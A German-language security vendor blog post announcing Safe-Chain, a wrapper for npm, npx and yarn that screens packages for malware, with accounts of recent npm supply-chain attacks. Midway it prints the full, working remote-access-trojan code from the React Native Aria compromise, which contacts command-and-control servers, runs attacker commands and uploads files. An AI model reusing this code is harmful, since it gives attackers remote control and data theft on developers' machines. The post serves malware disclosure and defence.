TLDR:
Wir haben gerade Aikido eingeführt, einen sicheren Wrapper für npm, npx und yarn, der sich in Ihren aktuellen Workflow einfügt und jedes Paket vor der Installation auf Malware überprüft. Er schützt Sie in Echtzeit vor Abhängigkeitsverwirrungen, Backdoors, Typosquats und anderen Bedrohungen in der Lieferkette, ohne Ihren Workflow zu verändern.
–
npm install ist im Grunde genommen das russische Roulette der modernen Entwicklung. Ein falsches Paket, ein kleiner Tippfehler, und schon haben Sie einer nordkoreanischen APT-Gruppe die Schlüssel zu Ihrer Produktionsumgebung geschenkt. Lustig, oder?
Aber Nationalstaaten, Cyberkriminelle und betrügerische Entwickler haben alle eines erkannt: Der einfachste Weg, moderne Software zu knacken, führt direkt über den Entwickler. Und was gibt es Besseres, als Malware in die Open-Source-Pakete einzuschleusen, die wir jeden Tag blindlings installieren?
Deshalb haben wir Aikido Chainentwickelt, eine Hülle um npm, npx und sogar yarn, die wie ein Türsteher für Ihre Abhängigkeiten fungiert. Sie überprüft Pakete auf bekannte Malware, bevor sie in Ihrem Projekt installiert werden, ohne dass Sie Ihren Arbeitsablauf ändern müssen.
Bevor wir uns jedoch damit befassen, wie Safe-Chain verhindert, dass Ihr Entwicklungsrechner zu einem Krypto-Mining-Botnetz wird, wollen wir zunächst einmal klären, warum dieses Problem überhaupt besteht.
Warum sind NPM-Pakete so ein attraktives Ziel?
Hier ist die brutale Wahrheit: Sie wissen nicht mehr wirklich, was in Ihrer App enthalten ist.
Laut der Linux Foundation bestehen etwa 70 bis 90 % jeder modernen Software aus Open-Source-Code. Sie haben ihn nicht geschrieben. Sie haben ihn nicht geprüft. Und das Beste daran: Das meiste davon wurde nicht einmal direkt von Ihnen installiert. Es kam über transitive Abhängigkeiten herein, ein ausgefallener Begriff für„ein zufälliges Paket fünf Ebenen tiefer, das beschlossen hat, seinen gesamten Stammbaum mitzubringen“.
Eine einzige npm-Installation kann Dutzende, manchmal sogar Hunderte von Paketen herunterladen, von denen jedes dank Installations-Hooks potenziell beliebigen Code ausführen kann.
Wenn ein böswilliger Akteur seine Malware in nur eines dieser Pakete einschleusen kann, sei es durch die Übernahme des Kontos eines Maintainers, durch Verwirrung hinsichtlich der Abhängigkeiten oder durch die Veröffentlichung einer Version mit Tippfehlern, kann er Tausende von Projekten auf einen Schlag treffen.
Nicht nur Gerede: Angriffe aus der Praxis, die wir abgefangen haben
Seit Anfang 2025 hat das Sicherheitsteam Aikidoeine ganze Reihe bösartiger Pakete aufgedeckt, darunter allein über 6.000 im Juni. Hier sind einige der Dinge, die wir gefunden haben.
Die offizielle XRP-Hintertür
Im April haben Angreifer das offizielle xrpl-npm-Paket, das für die Interaktion mit der XRP-Blockchain verwendet wird. Sie schmuggelten neue Versionen ein, die heimlich secrets auf einen Remote-Server exfiltrierten, sobald ein Wallet-Objekt erstellt wurde.
Wäre diese Hintertür von Krypto-Börsen installiert worden, hätte sie die größten Krypto-Diebstähle der Geschichte ermöglicht . Das Team Aikidobemerkte die manipulierten Paketversionen innerhalb von 45 Minuten nach ihrer Veröffentlichung und alarmierte das XRP-Team.

Die Rand-User-Agent-RAT-Party
Einige Wochen später schleusten Angreifer einen Remote Access Trojaner (RAT) in das rand-user-agent-Paket ein, ein scheinbar unspektakuläres Dienstprogramm zum Generieren gefälschter Browser-Strings. Nach der Installation schuf die Malware eine Hintertür, verband sich mit einem Command-and-Control-Server und wartete wie ein gehorsamer Schläferagent auf Befehle.
Dazu gehörten verschleierte Payloads, ein PATH-Hijack für Windows und clevere Tricks, um zusätzliche Module in geheimen Verzeichnissen zu installieren.
.png)
Siebzehn Bibliotheken, ein Angriff auf einen Nationalstaat
Im Juni kam es zu einem regelrechten Angriff auf das React Native Aria-Ökosystem: 17 Frontend-Bibliotheken wurden über einen kompromittierten GlueStack-Maintainer-Token gekapert. Insgesamt wurden die Pakete wöchentlich über eine Million Mal heruntergeladen, was bedeutet , dass dies katastrophale Auswirkungen auf das React Native-Ökosystem hätte haben können.
Eine verschleierte Hintertür wurde als RAT eingefügt, die dem Angreifer vollständigen Zugriff auf die Infrastruktur ermöglichte, auf der sie ausgeführt wurde, einschließlich der Möglichkeit, weitere Malware aus der Ferne zu übertragen.
global._V = '8-npm13';
(async () => {
try {
const c = global.r || require;
const d = global._V || '0';
const f = c('os');
const g = c("path");
const h = c('fs');
const i = c("child_process");
const j = c("crypto");
const k = f.platform();
const l = k.startsWith('win');
const m = f.hostname();
const n = f.userInfo().username;
const o = f.type();
const p = f.release();
const q = o + " " + p;
const r = process.execPath;
const s = process.version;
const u = new Date().toISOString();
const v = process.cwd();
const w = typeof __filename === "undefined" || __filename !== "[eval]";
const x = typeof __dirname === "undefined" ? v : __dirname;
const y = g.join(f.homedir(), ".node_modules");
if (typeof module === "object") {
module.paths.push(g.join(y, "node_modules"));
} else {
if (global._module) {
global._module.paths.push(g.join(y, "node_modules"));
} else {
if (global.m) {
global.m.paths.push(g.join(y, "node_modules"));
}
}
}
async function z(V, W) {
return new global.Promise((X, Y) => {
i.exec(V, W, (Z, a0, a1) => {
if (Z) {
Y("Error: " + Z.message);
return;
}
if (a1) {
Y("Stderr: " + a1);
return;
}
X(a0);
});
});
}
function A(V) {
try {
c.resolve(V);
return true;
} catch (W) {
return false;
}
}
const B = A('axios');
const C = A("socket.io-client");
if (!B || !C) {
try {
const V = {
stdio: "inherit",
"windowsHide": true
};
const W = {
stdio: "inherit",
"windowsHide": true
};
if (B) {
await z("npm --prefix \"" + y + "\" install socket.io-client", V);
} else {
await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
}
} catch (X) {}
}
const D = c('axios');
const E = c("form-data");
const F = c("socket.io-client");
let G;
let H;
let I = {};
const J = d.startsWith('A4') ? 'http://136.0.9[.]8:3306' : "http://85.239.62[.]36:3306";
const K = d.startsWith('A4') ? "http://136.0.9[.]8:27017" : "http://85.239.62[.]36:27017";
function L() {
if (w) {
return '[eval]' + m + '$' + n;
}
return m + '$' + n;
}
function M() {
const Y = j.randomBytes(0x10);
Y[0x6] = Y[0x6] & 0xf | 0x40;
Y[0x8] = Y[0x8] & 0x3f | 0x80;
const Z = Y.toString("hex");
return Z.substring(0x0, 0x8) + '-' + Z.substring(0x8, 0xc) + '-' + Z.substring(0xc, 0x10) + '-' + Z.substring(0x10, 0x14) + '-' + Z.substring(0x14, 0x20);
}
function N() {
const Y = {
"reconnectionDelay": 0x1388
};
G = F(J, Y);
G.on("connect", () => {
const Z = L();
const a0 = {
"clientUuid": Z,
"processId": H,
"osType": o
};
G.emit('identify', "client", a0);
});
G.on("disconnect", () => {});
G.on("command", S);
G.on("exit", () => {
if (!w) {
process.exit();
}
});
}
async function O(Y, Z, a0, a1) {
try {
const a2 = new E();
a2.append("client_id", Y);
a2.append("path", a0);
Z.forEach(a4 => {
const a5 = g.basename(a4);
a2.append(a5, h.createReadStream(a4));
});
const a3 = await D.post(K + "/u/f", a2, {
'headers': a2.getHeaders()
});
if (a3.status === 0xc8) {
G.emit("response", "HTTP upload succeeded: " + g.basename(Z[0x0]) + " file uploaded\n", a1);
} else {
G.emit("response", "Failed to upload file. Status code: " + a3.status + "\n", a1);
}
} catch (a4) {
G.emit("response", "Failed to upload: " + a4.message + "\n", a1);
}
}
async function P(Y, Z, a0, a1) {
try {
let a2 = 0x0;
let a3 = 0x0;
const a4 = Q(Z);
for (const a5 of a4) {
if (I[a1].stopKey) {
G.emit("response", "HTTP upload stopped: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
return;
}
const a6 = g.relative(Z, a5);
const a7 = g.join(a0, g.dirname(a6));
try {
await O(Y, [a5], a7, a1);
a2++;
} catch (a8) {
a3++;
}
}
G.emit('response', "HTTP upload succeeded: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
} catch (a9) {
G.emit("response", "Failed to upload: " + a9.message + "\n", a1);
}
}
function Q(Y) {
let Z = [];
const a0 = h.readdirSync(Y);
a0.forEach(a1 => {
const a2 = g.join(Y, a1);
const a3 = h.statSync(a2);
if (a3 && a3.isDirectory()) {
Z = Z.concat(Q(a2));
} else {
Z.push(a2);
}
});
return Z;
}
function R(Y) {
const Z = Y.split(':');
if (Z.length < 0x2) {
const a4 = {
"valid": false,
"message": "Command is missing \":\" separator or parameters"
};
return a4;
}
const a0 = Z[0x1].split(',');
if (a0.length < 0x2) {
const a5 = {
"valid": false,
"message": "Filename or destination is missing"
};
return a5;
}
const a1 = a0[0x0].trim();
const a2 = a0[0x1].trim();
if (!a1 || !a2) {
const a6 = {
"valid": false,
"message": "Filename or destination is empty"
};
return a6;
}
const a3 = {
"valid": true,
filename: a1,
destination: a2
};
return a3;
}
function S(Y, Z) {
if (!Z) {
const a1 = {
"valid": false,
"message": "User UUID not provided in the command."
};
return a1;
}
if (!I[Z]) {
const a2 = {
"currentDirectory": x,
commandQueue: [],
"stopKey": false
};
I[Z] = a2;
}
const a0 = I[Z];
a0.commandQueue.push(Y);
T(Z);
}
async function T(Y) {
let Z = I[Y];
while (Z.commandQueue.length > 0x0) {
const a0 = Z.commandQueue.shift();
let a1 = '';
if (a0 === 'cd' || a0.startsWith("cd ") || a0.startsWith("cd.")) {
const a2 = a0.slice(0x2).trim();
try {
process.chdir(Z.currentDirectory);
process.chdir(a2 || '.');
Z.currentDirectory = process.cwd();
} catch (a3) {
a1 = "Error: " + a3.message;
}
} else {
if (a0 === 'ss_info') {
a1 = "* _V = " + d + "\n* VERSION = " + "250602" + "\n* OS_INFO = " + q + "\n* NODE_PATH = " + r + "\n* NODE_VERSION = " + s + "\n* STARTUP_TIME = " + u + "\n* STARTUP_PATH = " + v + "\n* __dirname = " + (typeof __dirname === 'undefined' ? "undefined" : __dirname) + "\n* __filename = " + (typeof __filename === 'undefined' ? "undefined" : __filename) + "\n";
} else {
if (a0 === "ss_ip") {
a1 = JSON.stringify((await D.get('http://ip-api.com/json')).data, null, "\t") + "\n";
} else {
if (a0.startsWith("ss_upf") || a0.startsWith('ss_upd')) {
const a4 = R(a0);
if (!a4.valid) {
a1 = "Invalid command format: " + a4.message + "\n";
G.emit('response', a1, Y);
continue;
}
const {
filename: a5,
destination: a6
} = a4;
Z.stopKey = false;
a1 = " >> starting upload\n";
if (a0.startsWith("ss_upf")) {
O(m + '$' + n, [g.join(process.cwd(), a5)], a6, Y);
} else if (a0.startsWith("ss_upd")) {
P(m + '$' + n, g.join(process.cwd(), a5), a6, Y);
}
} else {
if (a0.startsWith("ss_dir")) {
process.chdir(x);
Z.currentDirectory = process.cwd();
} else {
if (a0.startsWith('ss_fcd')) {
const a7 = a0.split(':');
if (a7.length < 0x2) {
a1 = "Command is missing \":\" separator or parameters";
} else {
const a8 = a7[0x1];
process.chdir(a8);
Z.currentDirectory = process.cwd();
}
} else {
if (a0.startsWith("ss_stop")) {
Z.stopKey = true;
} else {
try {
const a9 = {
"cwd": Z.currentDirectory,
windowsHide: true
};
if (l) {
try {
const ab = g.join(process.env.LOCALAPPDATA || g.join(f.homedir(), "AppData", "Local"), "Programs\\Python\\Python3127");
const ac = {
...process.env
};
ac.PATH = ab + ';' + process.env.PATH;
a9.env = ac;
} catch (ad) {}
}
if (a0[0x0] === '*') {
a9.detached = true;
a9.stdio = "ignore";
const ae = a0.substring(0x1).match(/(?:[^\s"]+|"[^"]*")+/g);
const af = ae.map(ag => ag.replace(/^"|"$/g, ''));
i.spawn(af[0x0], af.slice(0x1), a9).on('error', ag => {});
} else {
i.exec(a0, a9, (ag, ah, ai) => {
let aj = "\n";
if (ag) {
aj += "Error executing command: " + ag.message;
}
if (ai) {
aj += "Stderr: " + ai;
}
aj += ah;
aj += Z.currentDirectory + "> ";
G.emit("response", aj, Y);
});
}
} catch (ag) {
a1 = "Error executing command: " + ag.message;
}
}
}
}
}
}
}
}
a1 += Z.currentDirectory + "> ";
G.emit("response", a1, Y);
}
}
function U() {
H = M();
N(H);
}
U();
} catch (Y) {}
})();Unsichtbare Exploits, Verschleierung und Leerzeichen
Man könnte meinen, dass es einfach wäre, Malware zu erkennen, beispielsweise durch Anrufe an entfernte IPs, seltsame Installationsskripte oder stark verschleierten Code. Einige Malware-Programme sind zwar leichter zu erkennen als andere, aber selbst wenn Sie eine vollständige Codeüberprüfung aller Ihrer Abhängigkeiten durchführen würden (viel Glück dabei), wäre dies nicht immer der Fall. Manche Malware ist so ausgeklügelt, dass sie unbemerkt durch die Maschen schlüpft. Beispielsweise verwendete os-info-checker-es6 unsichtbare Unicode-Zeichen, die in einem normalen Code-Editor nicht sichtbar sind, um seine Malware zu verbreiten. Oder Malware, die in Bildern wie ***** verbreitet wird, oder vielleicht die humorvollste Variante, Malware, die durch Leerzeichen versteckt wird (eine dumme, aber überraschend effektive Verschleierungsmethode) wie react-html2pdf.js.

Warum Safe-Chain genau das Tool ist, das Sie jetzt brauchen
Wir alle lieben Open Source. Aber moderne Sicherheitstools? Nicht so sehr. Sie sind oft umständlich, laut und vermitteln einem das Gefühl, man würde versuchen, das Fliegen eines Kampfjets zu lernen.

Sie erhalten dieselbe Entwicklererfahrung, nur mit einer Kevlar-Weste darunter.
Warum Safe Chain andere Tools um Längen schlägt
Tools wie npm audit und npq müssen nicht nur als zusätzliche Schritte ausgeführt werden, sondern basieren auch auf öffentlichen CVEs oder grundlegenden Heuristiken. Sie eignen sich gut für bekannte Probleme, übersehen jedoch Zero-Day-Schwachstellen. Die Zeitspanne zwischen dem Einbringen eines bösartigen Pakets und dessen Meldung beträgt etwa 10 Tage. Das ist ausreichend Zeit für Angreifer, um sich tief in Ihre Infrastruktur einzuschleusen.
Safe-Chain wird unterstützt von Aikido , unserer Bedrohungs-Pipeline, die täglich rund 200 bösartige Pakete erkennt, bevor sie in Schwachstellen-Datenbanken auftauchen.
Und im Gegensatz zu anderen Tools, die Bedrohungen erst nachträglich erkennen, stoppt Safe-Chain sie , bevor sie installiert werden. Nichts wird beschädigt, außer den Träumen des potenziellen Angreifers.
Abschließende Gedanken: Hoffen Sie nicht. Überprüfen Sie.
Das npm-Ökosystem ist ein modernes Wunderwerk, eine Kathedrale der Zusammenarbeit, Geschwindigkeit und ... Malware. Wir können die Open-Source-Welt nicht über Nacht verändern, aber wir können Ihnen die Werkzeuge an die Hand geben, um sich darin sicher zu bewegen.
Hoffnung ist keine Sicherheitsstrategie.
Mit Safe-Chain müssen Sie nicht raten. Sie überprüfen. Jede npm-Installation wird in Echtzeit gescannt. Keine Hintertüren. Kein Krypto-Diebstahl. Keine überraschenden RATs, die auf Ihrem Laptop herumschwirren.
Installieren Sichere Kette heute
Die Installation der Aikido Chain ist ganz einfach. Sie müssen nur drei einfache Schritte befolgen:
Installieren Sie das Aikido Chain-Paket global mit npm:npm install -g @aikidosec/safe-chain
Richten Sie die Shell-Integration ein, indem Sie Folgendes ausführen:Sichere Kettenkonfiguration
❗Starten Sie Ihr Terminal neu, um die Aikido Chain zu verwenden.
- Dieser Schritt ist entscheidend, da er sicherstellt, dass die Shell-Aliase für npm, npx und yarn korrekt geladen werden. Wenn Sie Ihr Terminal nicht neu starten, sind die Aliase nicht verfügbar.
Überprüfen Sie die Installation, indem Sie Folgendes ausführen:npm install safe-chain-test
- Die Ausgabe sollte zeigen, dass Aikido Chain die Installation dieses Pakets blockiert, da es als Malware gekennzeichnet ist. (Die Installation dieses Pakets birgt keinerlei Risiken.)
Sichern Sie Ihre Software jetzt.



.avif)
